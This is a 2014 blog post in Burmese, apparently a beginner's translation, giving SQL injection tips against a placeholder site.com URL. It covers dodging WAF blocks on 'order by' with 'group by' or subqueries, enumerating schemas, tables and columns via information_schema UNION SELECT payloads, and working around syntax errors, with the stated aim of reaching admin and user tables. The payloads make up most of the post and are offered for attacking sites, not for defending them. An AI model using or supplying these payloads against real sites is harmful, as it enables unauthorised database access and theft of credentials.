January 1, 2014

Common SQLi Problem Solution

က်ေနာ့္ရဲ႕ ပထမဆံုး ပို႔စ္ မလို႔ အမွားပါခဲ့ ရင္လဲ ေထာက္ျပၾကပါေနာ္
 ဒီပို႔စ္က က်ေနာ့္လို beginner ေတြအတြက္အကိ်ဴးရွိမယ္ထင္လို႔ က်ေနာ္ဘာသာျပန္ထားတာပါ။
 က်ေနာ္ ဒီအဆင့္ေတြမွာ ၂ ပတ္ေလာက္ရပ္ေနခဲ့ ရပါတယ္။error ေတြတက္ရင္လည္းေနာက္တခုလုပ္ရပါတယ္။ဟိုေန႔ကမွ FB က MHU Group မွာဖိုးခ်မ္း ဆိုတဲ့တေယာက္ share ထားလို႕၀င္ဖတ္ေတာ့ေတာ္ေတာ္ေက်းဇူးတင္မိပါတယ္။

Order by is being blocked?
တခ်ိဳ႕ ဆိုက္ေတြကို inject လုပ္တဲ့အခါမွာ WAF ေတြက order by  ကို block ထားတာမ်ိဳးရွိတတ္ပါတယ္။
Forbidden က်လာတာမိ်ဳးေပါ့။
http://www.site.com/index.php?id=12 order by 100-- //Forbidden
ဒီလိုအခါမိ်ဳးမွာ က်ေနာ္တုိ႕ group by ကိုသံုးလို႔ရနုိင္ပါတယ္။  WAF အမ်ားစုက order by ကိုဘဲ block ထားတတ္ပါတယ္။
 http://www.site.com/index.php?id=12 group by 100--
ဒီလိုနည္းနဲ႕ရနိုင္ပါတယ္။ဒါကိုမွ block ထားေသးတယ္ဆိုရင္ေတာ့ တခုရွိပါေသးတယ္။
http://www.site.com/index.php?id=12 and select *from admins)=(select 1)
ဒီ query ကုိသံုးရင္ေအာက္ကလို error မ်ိဳးေတြ႔ရပါမယ္။
"Operand should contain 5 columns"

Order by 10000-- and still not error?
တခါတေလ order by 1000 ေတာင္မွ error မတက္ပါဘူး။
http://www.site.com/index.php?id=12 order by 10000--
error မျပဘူးဆိုရင္
http://www.site.com/index.php?id=12 grpup by 10000--+ 
နဲ႕ ေျပာင္းထိုးၾကည့္ပါ ။error ျပနိုင္ပါတယ္။

Extracting Data from other Database
က်ေနာ္တို႕ SQL လုပ္ေနရင္းနဲ႔ user table,admin table ေတြမေတြ႕ဘူးဆိုရင္
တျခားလူေတာ့ သိဘူးေနာ္။က်ေနာ္ေတာ့ ရပ္သြားၿပီ။:Dဒါေပမယ့္ တျခား database ကေန က်ေနာ္တို႕ extract လုပ္နုိင္ပါေသးတယ္။
schema name ရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(schema_name),6,7 from information_schema.schemata--
table ေတြရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=0x(schemaname-HEX)
column name ေတြရွာမယ္
http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.columns where table_schema=0x( schemaname-HEX) and table_name=0x(tablename-HEX)

I get error if I try to extract tables

http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables 
ဒီလို query ကိုသံုးတဲ့အခါ "You have an error in your SQL syntax at line 1"
အခုလို error မ်ိဳးတက္ခဲ့မယ္ဆိုရင္
 http://www.site.com/index.php?id=12 union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables limit 0,1--
လို႕ေျပာင္းၿပီး ႀကိုးစားၾကည့္နိုင္ပါတယ္။ ။

 

No comments:

Post a Comment